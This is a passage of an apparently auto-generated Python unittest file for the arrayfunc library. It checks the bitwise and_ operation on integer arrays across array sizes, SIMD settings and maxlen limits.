with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code i.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code i.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code i.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_nosimd_simd_I(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('I', xdata)
self.data2 = array.array('I', ydata)
self.dataout = array.array('I', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code I.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code I.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code I.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_I(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('I', xdata)
self.data2 = array.array('I', ydata)
self.dataout = array.array('I', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code I.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code I.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code I.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_I(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('I', xdata)
self.data2 = array.array('I', ydata)
self.dataout = array.array('I', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code I.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code I.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code I.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_I(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('I', xdata)
self.data2 = array.array('I', ydata)
self.dataout = array.array('I', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code I.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code I.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code I.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code I.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code I.
"""
